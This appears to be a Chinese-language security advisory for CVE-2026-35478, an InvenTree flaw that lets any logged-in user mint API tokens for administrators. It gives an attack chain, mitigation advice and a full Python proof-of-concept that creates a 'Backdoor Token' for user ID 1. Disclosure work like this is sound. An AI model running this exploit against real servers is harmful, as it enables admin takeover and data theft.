IPBUF安全漏洞报告
English
CVE-2026-35478 CVSS 8.3 高危

CVE-2026-35478 InvenTree API令牌伪造漏洞

披露日期: 2026-04-08

漏洞信息

漏洞编号
CVE-2026-35478
漏洞类型
权限提升
CVSS评分
8.3 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
InvenTree

相关标签

权限提升API安全InvenTree认证绕过访问控制失效

漏洞概述

InvenTree是一个开源库存管理系统。在0.16.0至1.2.7之前的版本中存在一个高危漏洞。任何经过身份验证的普通用户,都可以通过向`/api/user/tokens/`接口发送POST请求,并在请求体中指定目标用户的ID,从而为系统中任何其他用户(包括管理员和超级用户)创建有效的API令牌。攻击者利用返回的令牌,无需进一步交互即可从任何网络位置以目标用户身份完全通过API认证。这可能导致严重的权限提升,允许攻击者执行管理员操作,窃取敏感数据或破坏系统完整性。官方已在1.2.7及1.3.0版本中修复了该问题。

技术细节

该漏洞的核心在于InvenTree后端对用户令牌创建接口的访问控制逻辑存在缺陷。在受影响版本中,当处理`POST /api/user/tokens/`请求时,系统仅验证了请求发起者是否已登录,但未验证发起者是否有权为`user`字段指定的目标用户ID创建令牌。攻击者首先利用低权限账户登录系统获取认证凭证。随后,攻击者构造包含目标管理员ID的恶意JSON数据包发送至API端点。由于服务器端未能校验请求者身份与目标用户身份的匹配关系,系统错误地将请求视为合法操作,并生成了归属管理员的全新API令牌。攻击者持有该令牌后,即可绕过前端权限限制,直接调用高敏感度的后端API接口,实现对系统的完全控制。

攻击链分析

STEP 1
1
攻击者使用低权限账户登录InvenTree系统,获取有效的API认证Token或会话Cookie。
STEP 2
2
攻击者通过侦察或猜测确定目标管理员或超级用户的内部User ID(通常为1)。
STEP 3
3
攻击者向`/api/user/tokens/`发送特制的POST请求,在请求体中将`user`字段设置为目标管理员的ID,并使用自己的认证Token。
STEP 4
4
由于存在漏洞,服务器端未校验权限,直接返回一个归属于目标管理员的新API Token。
STEP 5
5
攻击者利用获取的管理员Token调用敏感API接口,完全接管管理员权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Configuration target_url = "http://localhost:8000" api_endpoint = f"{target_url}/api/user/tokens/" # Attacker's credentials (Low privilege user) attacker_username = "lowpriv_user" attacker_password = "password123" # Target User ID (e.g., Administrator ID is usually 1) target_user_id = 1 def login_and_get_token(): """Login as attacker and retrieve auth token""" login_url = f"{target_url}/api/auth/token/" data = { "username": attacker_username, "password": attacker_password } response = requests.post(login_url, data=data) if response.status_code == 200: return response.json().get('token') else: print(f"Login failed: {response.text}") return None def exploit_admin_token_creation(auth_token): """Create a token for the admin user using the attacker's session""" headers = { "Authorization": f"Token {auth_token}", "Content-Type": "application/json" } # Payload to create token for target_user_id (Admin) payload = { "user": target_user_id, "label": "Backdoor Token", "write": True, "read": True } print(f"[*] Attempting to create token for User ID: {target_user_id}...") response = requests.post(api_endpoint, headers=headers, json=payload) if response.status_code == 201: print("[+] Success! Token created.") print(f"[+] Admin Token Key: {response.json().get('key')}") else: print(f"[-] Exploit failed. Status: {response.status_code}") print(f"[-] Response: {response.text}") if __name__ == "__main__": token = login_and_get_token() if token: exploit_admin_token_creation(token)

影响范围

InvenTree 0.16.0 至 1.2.7 之前版本

防御指南

临时缓解措施
如果无法立即升级,建议通过防火墙或Web应用防火墙(WAF)严格限制对`/api/user/tokens/`接口的访问,仅允许受信任的IP地址或管理子网调用。同时,管理员应全面审计现有的API Token列表,删除任何来源不明或未授权的Token,并启用日志监控以检测异常的Token创建行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表